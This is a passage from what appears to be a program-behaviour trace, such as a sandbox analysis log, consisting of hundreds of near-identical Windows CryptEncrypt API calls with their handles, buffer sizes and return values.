pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.871] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.871] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.871] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.871] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.871] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.871] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.871] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.871] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.871] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.871] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.871] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.871] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.871] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.871] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.871] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.871] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.871] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.871] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.871] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.871] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.871] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.871] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.871] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.871] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.871] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.871] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.872] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.872] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.872] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.872] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.872] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.872] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.872] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.872] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.872] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.872] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.872] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.872] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.872] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.872] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.872] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.872] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.872] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.872] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.872] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.872] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.872] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.872] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.872] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.872] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.872] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.873] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.873] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.873] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.873] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.873] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.873] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.873] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.873] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.873] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.873] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.873] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.873] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.873] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.873] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.873] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.873] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.873] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.873] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.873] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.874] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.874] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.874] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.874] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.874] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.874] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.874] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.874] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.874] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.874] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.874] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.874] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.874] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.874] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.874] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.874] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.874] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.874] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.874] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.874] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.874] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.874] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.874] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.874] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.874] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.874] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.875] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.875] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.875] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.875] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.875] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.875] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.875] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.875] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, 